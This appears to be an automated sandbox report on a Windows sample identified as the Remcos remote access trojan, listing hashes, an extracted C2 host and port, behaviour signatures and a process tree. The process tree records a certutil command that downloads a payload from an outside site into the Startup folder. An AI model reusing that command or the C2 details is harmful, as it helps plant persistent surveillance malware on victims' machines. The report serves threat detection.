Overview

overview

10

Static

static

51611ffb39...11.exe

windows7_x64

10

51611ffb39...11.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12-11-2020 14:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe

  • Size

    960KB

  • MD5

    f66db43a97a69279f2e3bec3452ad56e

  • SHA1

    c6875b26c29efda68fd2c180abe1efb477f43b5e

  • SHA256

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11

  • SHA512

    2d7a90249a0746358b8f9c711918e15a257dc07c655c0d5b30427e44e3a9afcdd9859ff62d7a15a31b22f1e64b7262747f1d47a62048f31de577ad0fc013874b

Score
10/10
remcosrat

Malware Config

Extracted

Family

remcos

C2

www.rmagent.biz:7181

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
    "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
          PID:3124
      • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
        "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
        2⤵
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:204

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\startup.bat
      MD5

      139392ca64ff374fa0d7b289c71fb24e

      SHA1

      a27c528fae02089f727751549bec330f7d2cc679

      SHA256

      1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f

      SHA512

      e48ad200ece7146416dbbe6f503352c430144f30592904c919af92ef94a0e4ec8604f61ebc4f58ebee094cea47fd22c4ee0da87f06e1c1bada0827a6a80b376a

      Download Submit
    • memory/204-3-0x00000000004C0000-0x00000000004E0000-memory.dmp
      Filesize

      128KB

      Download
    • memory/204-4-0x00000000004D39A4-mapping.dmp
      Download
    • memory/2708-0-0x0000000000000000-mapping.dmp
      Download
    • memory/3124-2-0x0000000000000000-mapping.dmp
      Download